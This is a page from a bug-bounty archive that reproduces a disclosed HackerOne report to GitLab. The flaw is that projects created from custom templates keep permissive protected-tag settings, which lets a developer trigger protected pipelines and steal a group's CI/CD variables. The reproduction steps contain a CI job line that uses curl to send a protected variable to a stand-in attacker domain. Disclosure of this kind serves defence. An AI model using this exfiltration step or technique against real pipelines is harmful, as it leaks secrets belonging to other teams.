Skip to content
Access control Disclosed report Intermediate

Developers can steal group's CI/CD variables using custom project templates

A developer could create a project from a custom template that retained permissive protected tag settings, allowing them to push malicious code and trigger a protected pipeline that exposed the group's protected CI/CD variables. The attacker could then steal those variables by sending them to an external server.

GitLab

Originally disclosed on GitLab

  • Fixed in 6 months
  • Disclosed after 6 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2450288 by js_noob on 2024-04-06, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

This report is almost the same as #2431500, the team closed it without providing sufficient details, I responded but didn't get any attention, probably because it's closed. I still believe this is a high bug, so reporting again to get more details/clarifications.

The only change here is that the create from template feature in a group for developers is okay, where I though it wasn't in the last report, however, this doesn't change the impact of this.

Summary

Hello team, when a project is created using a custom template, the permission for protected branches is reset to maintainers, even if the settings in the template project allowed anyone to push to protected branches this setting is reset to only allow maintainers, this is mainly done when the import is done by someone that's not the owner.

I searched a lot in the docs, but this is not documented anywhere, this is done in:

And this can be easily verified by a couple of tests.

This is okay and better for security. But for protected tags, it's not, and it's just being persistent from the "original" template project (this is obvious in the below example/POC).
So a developer can create a project from a template that allows developers to create protected tags, in a group allowing him to steal that group's protected CI/CD variables.
This can be easily done by creating a new branch with malicious code and applying a protected tag to it, which triggers the "protected" pipeline, allowing it to steal them.

Steps to reproduce

The below is just a simple scenario of how this can be exploited, but there are a lot many, and I can provide POCs for others if requested.

As an owner:

  1. Create a group and apply the ultimate trial to it
  2. Create 2 subgroups in that group let's call them, projects and templates
  3. Navigate to https://gitlab.com/groups/MAIN_GROUP/-/edit and under "Custom project templates", select the templates subgroup
  4. In the projects group, create a protected var called VAR with any value. We'll be stealing this later
  5. Invite USER_2 as a maintainer to the templates group, and as a developer to the projects group

As User 2:

  1. In the templates group, create a new project, while having the following content in the .gitlab-ci.yml file
my_job:  
    script:  
        - "curl -X GET https://evil_doman.com?VAR=$VAR"  
  1. In that project, create a protected tag wildcard target in https://gitlab.com/MAIN_GROUP/templates/PROJECT/-/settings/repository, make sure to allow developers + maintainers to create, something similar to
Screenshot_2024-03-23_at_2.17.50_AM.png
Screenshot_2024-03-23_at_2.17.50_AM.png From the original on GitLab
  1. Navigate to the projects group, create a project from a template, to the group section, and create a new project from the template you created in the templates group (this shouldn't be allowed)
  2. Create a new protected tag, and verify that the pipeline is triggered on that protected tag
  3. Verify that the protected variable is sent to the attacker's controlled server
Example
What is the current bug behavior?

Developers can create projects using custom templates.

What is the expected correct behavior?

Developers shouldn't be able to create projects using custom templates.

Output of checks

This bug happens on GitLab.com

Impact

Disclosure of a group's CI/CD variables to unauthorized users (developers).

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, when creating a project from a custom template, the protected tag settings are not reset to a secure default (unlike protected branches), so a developer can retain the ability to create protected tags and trigger pipelines that access protected CI/CD variables.

Impact

A developer could disclose a group's protected CI/CD variables.

What the attacker needed

GitLab Ultimate trial; Owner creates group and subgroups; Developer role in target group; Maintainer role in templates group

The fix

Developers should not be able to create projects using custom templates.

How it was found

  1. As an owner, create a group and apply the ultimate trial, then create two subgroups: projects and templates.
  2. Set the templates subgroup as the custom project templates source for the main group.
  3. In the projects group, create a protected variable named VAR with any value.
  4. Invite User 2 as a maintainer to the templates group and as a developer to the projects group.
  5. As User 2, in the templates group, create a new project with a .gitlab-ci.yml that sends the VAR variable to an external server.
  6. In that project, create a protected tag wildcard target that allows developers and maintainers to create tags.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In GitLab, CI/CD variables are secret values used in automated build pipelines. Protected variables are only available to pipelines running on protected branches or tags. The report shows that a developer could create a project from a template that kept its original protected tag settings, letting the developer create a protected tag and run a pipeline that exposed the group's protected variables.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.